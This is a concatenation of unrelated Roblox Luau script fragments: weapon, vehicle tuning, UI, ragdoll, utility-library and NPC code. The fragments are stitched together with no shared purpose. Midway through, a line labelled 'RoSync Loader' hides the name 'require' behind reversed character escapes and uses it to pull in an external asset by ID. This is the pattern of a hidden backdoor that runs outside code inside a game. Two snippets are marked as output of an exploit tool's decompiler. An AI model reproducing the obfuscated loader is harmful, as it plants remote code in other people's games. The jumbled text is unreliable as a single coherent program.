Enum.RaycastFilterType.Blacklist local hitBox = RaycastHitbox.new(script.Parent:WaitForChild("Handle")) hitBox.RaycastParams = params hitBox.OnHit:Connect(function(Hit, humanoid) hitBox:HitStop() hitBox:HitStart() if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then return end if not humanoid then return end local character = Hit.Parent if character == Character then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) if Tool.Parent.Parent ~= humanoid.Parent.Parent then humanoid:TakeDamage(Damage) end end) function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Slash" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Slash") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end end function Lunge() Damage = DamageValues.LungeDamage Sounds.Lunge:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Lunge" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Lunge") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end wait(0.2) Tool.Grip = Grips.Out wait(0.6) Tool.Grip = Grips.Up Damage = DamageValues.SlashDamage end Tool.Enabled = true LastAttack = 0 function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false local Tick = RunService.Stepped:wait() if (Tick - LastAttack < 0.2) then Lunge() else Attack() end LastAttack = Tick --wait(0.5) Damage = DamageValues.BaseDamage local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){ Name = "R15Slash", AnimationId = BaseUrl .. Animations.R15Slash, Parent = Tool }) local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){ Name = "R15Lunge", AnimationId = BaseUrl .. Animations.R15Lunge, Parent = Tool }) Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChildOfClass("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart") if not CheckIfAlive() then return end ToolEquipped = true Sounds.Unsheath:Play() hitBox:HitStart() end function Unequipped() Tool.Grip = Grips.Up ToolEquipped = false hitBox:HitStop() end Tool.Activated:Connect(Activated) Tool.Equipped:Connect(Equipped) Tool.Unequipped:Connect(Unequipped)
-- functions
function onDied() stopLoopedSounds() sDied:Play() end local fallCount = 0 local fallSpeed = 0 function onStateFall(state, sound) fallCount = fallCount + 1 if state then sound.Volume = 0 sound:Play() Spawn( function() local t = 0 local thisFall = fallCount while t < 1.5 and fallCount == thisFall do local vol = math.max(t - 0.3 , 0) sound.Volume = vol wait(0.1) t = t + 0.1 end end) else sound:Stop() end fallSpeed = math.max(fallSpeed, math.abs(Head.Velocity.Y)) end function onStateNoStop(state, sound) if state then sound:Play() end end function onRunning(speed) sClimbing:Stop() sSwimming:Stop() if (prevState == "FreeFall" and fallSpeed > 0.1) then local vol = math.min(1.0, math.max(0.0, (fallSpeed - 50) / 110)) sLanding.Volume = vol sLanding:Play() fallSpeed = 0 end if speed>0.5 then sRunning.Playing = true sRunning.Pitch = 1.85 else sRunning:Stop() end prevState = "Run" end function onSwimming(speed) if (prevState ~= "Swim" and speed > 0.1) then local volume = math.min(1.0, speed / 350) sSplash.Volume = volume sSplash:Play() prevState = "Swim" end sClimbing:Stop() sRunning:Stop() sSwimming.Pitch = 1.6 sSwimming:Play() end function onClimbing(speed) sRunning:Stop() sSwimming:Stop() if speed>0.01 then sClimbing:Play() sClimbing.Pitch = speed / 5.5 else sClimbing:Stop() end prevState = "Climb" end
--[[** ensures Roblox Axes type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Axes = primitive("Axes")
-- Instance options
local DEFAULT_ATTACHMENT_INSTANCE: string = "DmgPoint" local DEFAULT_GROUP_NAME_INSTANCE: string = "Group"
-- Get references to the DockShelf and its children
local dockShelf = script.Parent.Parent.WindowManager.CtxtMenu local aFinderButton = dockShelf.Sys local window = script.Parent.Parent.WindowManager.SysVersion
--while wait(.5) do -- if isIntermission then -- suff = 1+(suff+3)%3 -- script.Parent.Holder.TextLabel.Text = 'Intermission'..string.rep('.',suff) -- end --end
--[[Weight and CG]]
Tune.Weight = 3214 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 4 , --[[Length]] 15 } Tune.WeightDist = 51 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- USER PARAMETERS
local wheelSpeed = 0.02 local values = {50, 4, 8, 6, 2, 500} -- Light blue, Dark blue, Purple, Orange, Yellow, Green local jpChance = 1 -- The jackpot is won once every XX tries when someone hits the jackpot light.
--[=[ Creates a new function which will return an observable that, given the props in question, will construct a new instance and assign all props. This is the equivalent of a pipe-able Rx command. ```lua local render = Blend.New "ScreenGui" { Parent = game.Players.LocalPlayer.PlayerGui; Blend.New "Frame" { Size = UDim2.new(1, 0, 1, 0); BackgroundTransparency = 0.5; }; }; maid:GiveTask(render:Subscribe(function(gui) print(gui) end)) ``` @param className string @return (props: { [string]: any; }) -> Observable<Instance> ]=]
function Blend.New(className) assert(type(className) == "string", "Bad className") local defaults = BlendDefaultProps[className] return function(props) return Observable.new(function(sub) local instance = Instance.new(className) if defaults then for key, value in pairs(defaults) do instance[key] = value end end local maid = Blend.mount(instance, props) maid:GiveTask(instance) sub:Fire(instance) return maid end) end end
--!strict -- upstream: https://github.com/facebook/react/blob/98d410f5005988644d01c9ec79b7181c3dd6c847/packages/react/src/ReactDebugCurrentFrame.js --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @flow ]]
local ReactDebugCurrentFrame = {} local currentExtraStackFrame = (nil :: nil | string) function ReactDebugCurrentFrame.setExtraStackFrame(stack: string?): () if _G.__DEV__ then currentExtraStackFrame = stack end end if _G.__DEV__ then -- deviation: in Lua, the implementation is duplicated -- function ReactDebugCurrentFrame.setExtraStackFrame(stack: string?) -- if _G.__DEV__ then -- currentExtraStackFrame = stack -- end -- end -- Stack implementation injected by the current renderer. ReactDebugCurrentFrame.getCurrentStack = (nil :: nil | (() -> string)) function ReactDebugCurrentFrame.getStackAddendum(): string local stack = "" -- Add an extra top frame while an element is being validated if currentExtraStackFrame then stack = stack .. currentExtraStackFrame end -- Delegate to the injected renderer-specific implementation local impl = ReactDebugCurrentFrame.getCurrentStack if impl then stack = stack .. (impl() or "") end return stack end end return ReactDebugCurrentFrame
-- Current map instance. There can only be one loaded map at a time
local map = false local mapContainer = workspace:FindFirstChild(MAP_CONTAINER_NAME)
-----RandomDebris-----
local Colors = { Color3.fromRGB(91, 91, 91), } local Materials = { Enum.Material.Plastic, } local RunService = game:GetService'RunService' local rad = math.rad local clock = os.clock local noise = math.noise local random = math.random local Heartbeat = RunService.Heartbeat local xseed = random(10000, 100000) local yseed = random(10000, 100000) local zseed = random(10000, 100000) local x = noise(xseed, clock() % 1000 * 0.5) * 360 local y = noise(yseed, clock() % 1000 * 0.5) * 360 local z = noise(zseed, clock() % 1000 * 0.5) * 360 local function spinPart(part) while part do part.CFrame = CFrame.new(part.Position) * CFrame.Angles(rad(x), rad(y), rad(z)) Heartbeat:Wait() end end
-- SETTINGS ----------------------------------
local timeToRespawn = 60 local allowDamage = true
--[[ -- Alternate script for NPCS to have Ragdoll Death. Copy this code and put it into a script inside an NPC. local c = script.Parent c.Humanoid.BreakJointsOnDeath = false c.Humanoid.Died:Connect(function() c.HumanoidRootPart.RotVelocity = Vector3.new(10,10,10) -- Hopefully makes it so whenever you die, you don't just stand still. Feel free to remove it lols for _, v in pairs(c:GetDescendants()) do if v:IsA("Motor6D") then local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment") a0.CFrame = v.C0 a1.CFrame = v.C1 a0.Parent = v.Part0 a1.Parent = v.Part1 local b = Instance.new("BallSocketConstraint") b.Attachment0 = a0 b.Attachment1 = a1 b.Parent = v.Part0 v:Destroy() end end c.HumanoidRootPart.CanCollide = false end) ]]
--Effects--
FLSmoke = script.Plugins.Effects.TireSmoke:Clone() FLSmoke.Parent = SSML FLSmoke.Rate = 0 FRSmoke = script.Plugins.Effects.TireSmoke:Clone() FRSmoke.Parent = SSMR FRSmoke.Rate = 0 RLSmoke = script.Plugins.Effects.TireSmoke:Clone() RLSmoke.Parent = zBRL RLSmoke.Rate = 0 RRSmoke = script.Plugins.Effects.TireSmoke:Clone() RRSmoke.Parent = zBRR RRSmoke.Rate = 0 if SpeedoReading == "MPH" then script.Assets.Screen.Simulated.TY.Value = false else script.Assets.Screen.Simulated.TY.Value = true end
--[=[ @return Promise Starts Knit. Should only be called once. Optionally, `KnitOptions` can be passed in order to set Knit's custom configurations. :::caution Be sure that all services have been created _before_ calling `Start`. Services cannot be added later. ::: ```lua Knit.Start():andThen(function() print("Knit started!") end):catch(warn) ``` Example of Knit started with options: ```lua Knit.Start({ Middleware = { Inbound = { function(player, args) print("Player is giving following args to server:", args) return true end }, }, }):andThen(function() print("Knit started!") end):catch(warn) ``` ]=]
function KnitServer.Start(options: KnitOptions?) if started then return Promise.reject("Knit already started") end started = true if options == nil then selectedOptions = defaultOptions else assert(typeof(options) == "table", "KnitOptions should be a table or nil; got " .. typeof(options)) selectedOptions = options for k,v in pairs(defaultOptions) do if selectedOptions[k] == nil then selectedOptions[k] = v end end end return Promise.new(function(resolve) local knitMiddleware = selectedOptions.Middleware or {} -- Bind remotes: for _,service in pairs(services) do local middleware = service.Middleware or {} local inbound = middleware.Inbound or knitMiddleware.Inbound local outbound = middleware.Outbound or knitMiddleware.Outbound service.Middleware = nil for k,v in pairs(service.Client) do if type(v) == "function" then service.KnitComm:WrapMethod(service.Client, k, inbound, outbound) elseif v == SIGNAL_MARKER then service.Client[k] = service.KnitComm:CreateSignal(k, inbound, outbound) elseif type(v) == "table" and v[1] == PROPERTY_MARKER then service.Client[k] = service.KnitComm:CreateProperty(k, v[2], inbound, outbound) end end end -- Init: local promisesInitServices = {} for _,service in pairs(services) do if type(service.KnitInit) == "function" then table.insert(promisesInitServices, Promise.new(function(r) debug.setmemorycategory(service.Name) service:KnitInit() r() end)) end end resolve(Promise.all(promisesInitServices)) end):andThen(function() -- Start: for _,service in pairs(services) do if type(service.KnitStart) == "function" then task.spawn(function() debug.setmemorycategory(service.Name) service:KnitStart() end) end end startedComplete = true onStartedComplete:Fire() task.defer(function() onStartedComplete:Destroy() end) -- Expose service remotes to everyone: knitRepServiceFolder.Parent = script.Parent end) end
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; return function(p1) local v1 = { Name = "Prompt", Title = "Prompt", Size = { 225, 150 }, SizeLocked = true }; local u1 = nil; function v1.OnClose() if not u1 then u1 = "No"; end; end; local v2 = client.UI.Make("Window", v1); local v3 = v2:Add("TextLabel", { Text = p1.Question, Font = "SourceSans", TextScaled = true, BackgroundTransparency = 1, TextScaled = true, TextWrapped = true, Size = UDim2.new(1, -10, 0.7, -5) }); local v4 = v2:Add("TextButton", { Text = "No", Font = "Arial", TextSize = 18, Size = UDim2.new(0.5, -5, 0.3, -5), Position = UDim2.new(0.5, 0, 0.7, 0), BackgroundColor3 = Color3.fromRGB(206, 72, 45), BackgroundTransparency = 0.5 }); v2:Add("TextButton", { Text = "Yes", Font = "Arial", TextSize = 18, Size = UDim2.new(0.5, -5, 0.3, -5), Position = UDim2.new(0, 5, 0.7, 0), BackgroundColor3 = Color3.fromRGB(74, 195, 56), BackgroundTransparency = 0.5 }).MouseButton1Down:connect(function() u1 = "Yes"; v2:Close(); end); v4.MouseButton1Down:connect(function() u1 = "No"; v2:Close(); end); local l__gTable__5 = v2.gTable; v2:Ready(); while true do wait(); if u1 then break; end; end; return nil; end;
-- ENTITIES
if Configuration.AmbushSoundsEnabled == false then Folder.Entities.Ambush:Destroy() end if Configuration.EyesSoundsEnabled == false then Folder.Entities.Eyes:Destroy() end if Configuration.FigureSoundsEnabled == false then Folder.Entities.Figure:Destroy() end if Configuration.GlitchSoundsEnabled == false then Folder.Entities.Glitch:Destroy() end if Configuration.HaltSoundsEnabled == false then Folder.Entities.Halt:Destroy() end if Configuration.HideSoundsEnabled == false then Folder.Entities.Hide:Destroy() end if Configuration.RushSoundsEnabled == false then Folder.Entities.Rush:Destroy() end if Configuration.SeekSoundsEnabled == false then Folder.Entities.Seek:Destroy() end if Configuration.TimothySoundsEnabled == false then Folder.Entities.Timothy:Destroy() end if Configuration.JackSoundsEnabled == false then Folder.Entities.Jack:Destroy() end
--[=[ Returns whether or not the promise is pending @return bool -- True if pending, false otherwise ]=]
function Promise:IsPending() return self._pendingExecuteList ~= nil end
--[[ Various ragdoll constraints that are used depending on what type of joint they're being applied to. This is meant to work with any character, but is mostly tailored to characters with legs/arms, as it is impossible to satisfy all use cases in a generic way. You can for sure make a spider with 8 legs by sticking to the same naming conventions as R15 (e.g. LeftUpperLeg1, 2, 3, ...), but something like an eel is not going to come for free out of the box, at least perfectly. That said, there is a Default waist-like joint for all unknown joint types. It won't be perfect, but it will be functional. If these joint types do not satisfy your use cases, you can tweak them or add new ones! Just modify or add to this module's children. These constraints are automatically selected based on the last word of the joint's name (e.g. Hip from LeftHip). Things to know if you are changing them: Shoulder twist angles should not be lowered any further or the ragdoll's arms will get stuck in "Aliens" position often https://i.imgur.com/Ck5j34M.jpg Neck is using a HingeConstraint because BallSocketConstraints are kind of unstable for the head. https://gfycat.com/GrotesqueFirsthandBluebottlejellyfish Ankle and Wrist are HingeConstraints because twist limits are not enough for BallSocketConstraints -- due to the "try to do x" rather than "force x" nature of constraints, twist limits are given a small margin where they are not applied close to 0, and this causes the wrists/ankles to jitter back and forth when they are suspended in air. Other limbs are generally not suspended in air, so it's only necessary for Ankle/Wrist joints. --]]
local getLastWordFromPascaleCase = require(script.Parent:WaitForChild("getLastWordFromPascalCase")) local constraints = {} for _,v in pairs(script:GetChildren()) do constraints[v.Name] = v end function getConstraintTemplate(jointName) jointName = getLastWordFromPascaleCase(jointName) return constraints[jointName] or constraints.Default end function createConstraint(jointData) local jointName = jointData.Joint.Name local constraint = getConstraintTemplate(jointName):Clone() constraint.Attachment0 = jointData.Attachment0 constraint.Attachment1 = jointData.Attachment1 constraint.Name = jointName.."RagdollConstraint" -- Constraints don't work if there is a rigid joint connecting its two parts, -- so when we enter ragdoll we need to turn off the joint, and turn it back on -- when we leave ragdoll. This allows us to tell which joint corresponds with -- which constraint local rigidPointer = Instance.new("ObjectValue", constraint) rigidPointer.Name = "RigidJoint" rigidPointer.Value = jointData.Joint return constraint end return function(attachmentMap) local ragdollConstraints = Instance.new("Folder") ragdollConstraints.Name = "RagdollConstraints" for attachmentName,jointData in pairs(attachmentMap) do if jointData.Joint.Name ~= "Root" then local ragdollConstraint = createConstraint(jointData) ragdollConstraint.Parent = ragdollConstraints end end return ragdollConstraints end
--!strict
local Array = script.Parent.Parent local LuauPolyfill = Array.Parent local types = require(LuauPolyfill.types) type Object = types.Object type Array<T> = types.Array<T> type Set<T> = types.Set<T> type mapFn<T, U> = (element: T, index: number) -> U type mapFnWithThisArg<T, U> = (thisArg: any, element: T, index: number) -> U return function<T, U>( value: Set<T>, mapFn: (mapFn<T, U> | mapFnWithThisArg<T, U>)?, thisArg: Object? -- FIXME Luau: need overloading so the return type on this is more sane and doesn't require manual casts ): Array<U> | Array<T> | Array<string> local array = {} if mapFn then array = {} for i, v in value :: any do if thisArg ~= nil then (array :: Array<U>)[i] = (mapFn :: mapFnWithThisArg<T, U>)(thisArg, v, i) else (array :: Array<U>)[i] = (mapFn :: mapFn<T, U>)(v, i) end end else array = table.clone((value :: any)._array) end return array end
--Returns the player that reflected the rocket, if any.
local function GetReflectedByPlayer() local ReflectedByValue = FiredByValue:FindFirstChild("ReflectedBy") return ReflectedByValue and ReflectedByValue.Value end
-- ^ --]] Change "Credit" to the name of the frame ^
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.R , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.ButtonB , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.ButtonL3 , }
--[[ Calls a callback on `andThen` with specific arguments. ]]
function Promise.prototype:andThenCall(callback, ...) assert(type(callback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:andThenCall")) local length, values = pack(...) return self:_andThen(debug.traceback(nil, 2), function() return callback(unpack(values, 1, length)) end) end
-- Removes all player weapons at the start of a transition
function PlayerManager.removeWeapons() for playerKey, whichPlayer in pairs(activePlayers) do removePlayerWeapon(whichPlayer) end end
-- Decompiled with the Synapse X Luau decompiler.
script.Parent.MouseButton1Down:Connect(function() script.Parent.Parent.Visible = false; if game.Players.LocalPlayer.Days.Value >= 3 then for v1 = 1, #"Here we go." do script.Parent.Parent.Parent.DialogText.TextLabel.Text = string.sub("Here we go.", 1, v1); wait(); end; end; if game.Players.LocalPlayer.Days.Value >= 3 then script.Parent.Parent.Parent.Dialog3.Visible = true; return; end; script.Parent.Parent.Parent.Dialog2.Visible = true; end);
--[=[ Returns Maid[key] if not part of Maid metatable ```lua local maid = Maid.new() maid._current = Instance.new("Part") print(maid._current) --> Part maid._current = nil print(maid._current) --> nil ``` @param index any @return MaidTask ]=]
function Maid:__index(index) if Maid[index] then return Maid[index] else return self._tasks[index] end end
--[[ Change log: 09/18 Fixed checkbox mouseover sprite Encapsulated checkbox creation into separate method Fixed another checkbox issue 09/15 Invalid input is ignored instead of setting to default of that data type Consolidated control methods and simplified them All input goes through ToValue method Fixed position of BrickColor palette Made DropDown appear above row if it would otherwise exceed the page height Cleaned up stylesheets 09/14 Made properties window scroll when mouse wheel scrolled Object/Instance and Color3 data types handled properly Multiple BrickColor controls interfering with each other fixed Added support for Content data type --]]
wait(0.2) local math_floor = math.floor local math_ceil = math.ceil local math_max = math.max local string_len = string.len local string_sub = string.sub local string_gsub = string.gsub local string_split = string.split local string_format = string.format local string_find = string.find local string_lower = string.lower local table_concat = table.concat local table_insert = table.insert local table_sort = table.sort local Instance_new = Instance.new local Color3_fromRGB = Color3.fromRGB local Color3_new = Color3.new local UDim2_new = UDim2.new local Vector3_new = Vector3.new local Vector2_new = Vector2.new local NumberRange_new = NumberRange.new local BrickColor_palette = BrickColor.palette local function Create(ty,data) local obj if type(ty) == 'string' then obj = Instance.new(ty) else obj = ty end for k, v in pairs(data) do if type(k) == 'number' then v.Parent = obj else obj[k] = v end end return obj end local Gui = script.Parent.Parent local PropertiesFrame = Gui:WaitForChild("PropertiesFrame") local ExplorerFrame = Gui:WaitForChild("ExplorerPanel") local print = ExplorerFrame:WaitForChild("GetPrint"):Invoke()
-- METHODS
function Signal:Fire(...) for _, connection in pairs(self.connections) do connection.Handler(...) end if self.totalWaiting > 0 then local packedArgs = table.pack(...) for waitingId, _ in pairs(self.waiting) do self.waiting[waitingId] = packedArgs end end end Signal.fire = Signal.Fire function Signal:Connect(handler) if not (type(handler) == "function") then error(("connect(%s)"):format(typeof(handler)), 2) end local signal = self local connectionId = HttpService:GenerateGUID(false) local connection = {} connection.Connected = true connection.ConnectionId = connectionId connection.Handler = handler self.connections[connectionId] = connection function connection:Disconnect() signal.connections[connectionId] = nil connection.Connected = false signal.totalConnections -= 1 if signal.connectionsChanged then signal.connectionsChanged:Fire(-1) end end connection.Destroy = connection.Disconnect connection.destroy = connection.Disconnect connection.disconnect = connection.Disconnect self.totalConnections += 1 if self.connectionsChanged then self.connectionsChanged:Fire(1) end return connection end Signal.connect = Signal.Connect function Signal:Wait() local waitingId = HttpService:GenerateGUID(false) self.waiting[waitingId] = true self.totalWaiting += 1 repeat heartbeat:Wait() until self.waiting[waitingId] ~= true self.totalWaiting -= 1 local args = self.waiting[waitingId] self.waiting[waitingId] = nil return unpack(args) end Signal.wait = Signal.Wait function Signal:Destroy() if self.bindableEvent then self.bindableEvent:Destroy() self.bindableEvent = nil end if self.connectionsChanged then self.connectionsChanged:Fire(-self.totalConnections) self.connectionsChanged:Destroy() self.connectionsChanged = nil end self.totalConnections = 0 for connectionId, connection in pairs(self.connections) do self.connections[connectionId] = nil end end Signal.destroy = Signal.Destroy Signal.Disconnect = Signal.Destroy Signal.disconnect = Signal.Destroy return Signal
-- Protected
function BaseState:_Tick(currentTime,dt) self.stateTime = self.stateTime + dt self:Tick(currentTime,dt,self.stateTime) end
--[[ Last synced 12/18/2020 11:06 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- @Return Boolean
function WeaponRuntimeData:CanReload() return self.currentAmmo < self.weaponDefinition:GetMaxAmmo() end
---------------------------------------------
local Velocity = 120 function computeLaunchAngle(dx, dy, grav) -- This function is nasty or what? :P -- There are ways to solve launch angle of a projectile given a point in 3D space -- This one solves for tan(theta) -- Simplify the distance formula of a projectile local g = math.abs(grav) local inRoot = (Velocity * Velocity * Velocity * Velocity) - (g * ((g * dx * dx) + (2 * dy * Velocity * Velocity))) if inRoot <= 0 then return 0.25 * math.pi end local root = math.sqrt(inRoot) local inATan1 = ((Velocity * Velocity) + root) / (g*dx) local inATan2 = ((Velocity * Velocity) - root) / (g*dx) local a1 = math.atan(inATan1) local a2 = math.atan(inATan2) if a1 < a2 then return a1 end return a2 end
--[[ Singleton Manager that holds Window components ]]
local CollectionService = game:GetService("CollectionService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local ServerStorage = game:GetService("ServerStorage") local Constants = require(ReplicatedStorage.Source.Common.Constants) local Registry = require(ReplicatedStorage.Dependencies.GameUtils.Components.Registry) local Window = require(ServerStorage.Source.Components.Window) local WindowManager = {} local registry = Registry.new(Window)
--[[ dusme kalkma local dustu = false Hum.StateChanged:Connect(function(old,new) if dustu then dustu = false print("yerden kalktı") end if Hum:GetState() == Enum.HumanoidStateType.Physics then dustu = true print("yere dustu") end end) --]]
-- Distance = 10
end -- Player died. if Logic == 0 then -- Defalt logic target = findNearestTorso(torsoPos) --- target is some Player. FindNearest and get xdir, ydir. if target ~= nil then targ = target -- if ClimbingLadder and Distance >= 1 then -- targpos = torsoPos + AItorso.CFrame.lookVector * 9 -- else targpos = target.Position -- end if Distance < 1 and (torsoPos - targpos).magnitude > 4 then -- Check if we are stuck. GetDir() OldX = Xdir -- Goal direction. OldZ = Zdir Logic = 1 -- Impeded else if FireAtPlayer() then -- hit GetDir() OldX = Xdir -- Goal direction. OldZ = Zdir if FireDag() then Logic = 1 -- Go Left; Look Right. ClimbingLadder = true -- first time thru logic 1 indicator else targpos = torsoPos + Vector3.new(Xdag,0,Zdag) -- go Right end -- dagRight end -- hit? end -- impeded? else print(AIName, number, ": No target. - ", target)
--[[Weight and CG]]
Tune.Weight = 3439 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 4 , --[[Length]] 15 } Tune.WeightDist = 54 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--------RIGHT DOOR --------
game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
--Tweens
local OpenTween = TweenService:Create(Hinge,OpenTweenInfo,{CFrame = OpenHinge.CFrame}) local CloseTween = TweenService:Create(Hinge,CloseTweenInfo,{CFrame = ClosedHinge.CFrame}) local OpenTween1 = TweenService:Create(Hinge1,OpenTweenInfo,{CFrame = OpenHinge1.CFrame}) local CloseTween1 = TweenService:Create(Hinge1,CloseTweenInfo,{CFrame = ClosedHinge1.CFrame})
--!strict
export type Object = { [string]: any } export type Array<T> = { [number]: T } export type Function = (...any) -> ...any export type Table<T, V> = { [T]: V } export type Tuple<T, V> = Array<T | V> export type mapCallbackFn<K, V> = (element: V, key: K, map: Map<K, V>) -> () export type mapCallbackFnWithThisArg<K, V> = (thisArg: Object, value: V, key: K, map: Map<K, V>) -> () export type Map<K, V> = typeof(setmetatable( {} :: { size: number, -- method definitions set: (self: Map<K, V>, K, V) -> Map<K, V>, get: (self: Map<K, V>, K) -> V | nil, clear: (self: Map<K, V>) -> (), delete: (self: Map<K, V>, K) -> boolean, forEach: ( self: Map<K, V>, callback: mapCallbackFn<K, V> | mapCallbackFnWithThisArg<K, V>, thisArg: Object? ) -> (), has: (self: Map<K, V>, K) -> boolean, keys: (self: Map<K, V>) -> Array<K>, values: (self: Map<K, V>) -> Array<V>, entries: (self: Map<K, V>) -> Array<Tuple<K, V>>, ipairs: (self: Map<K, V>) -> any, [K]: V, _map: { [K]: V }, _array: { [number]: K }, }, {} :: { __index: Map<K, V>, __iter: (self: Map<K, V>) -> (<K, V>({ [K]: V }, K?) -> (K, V), V), } )) export type setCallbackFn<T> = (value: T, key: T, set: Set<T>) -> () export type setCallbackFnWithThisArg<T> = (thisArg: Object, value: T, key: T, set: Set<T>) -> () export type Set<T> = typeof(setmetatable( {} :: { size: number, -- method definitions add: (self: Set<T>, T) -> Set<T>, clear: (self: Set<T>) -> (), delete: (self: Set<T>, T) -> boolean, forEach: (self: Set<T>, callback: setCallbackFn<T> | setCallbackFnWithThisArg<T>, thisArg: Object?) -> (), has: (self: Set<T>, T) -> boolean, ipairs: (self: Set<T>) -> any, }, {} :: { __index: Set<T>, __iter: (self: Set<T>) -> (<K, V>({ [K]: V }, K?) -> (K, V), T), } )) return {}
--shot data
local lasttimeshot = tick() ragdollbullettable = {}
--[[ The Module ]]
-- wait(999999999999999999999) local BaseOcclusion = {} BaseOcclusion.__index = BaseOcclusion setmetatable(BaseOcclusion, { __call = function(_, ...) return BaseOcclusion.new(...) end }) function BaseOcclusion.new() local self = setmetatable({}, BaseOcclusion) return self end
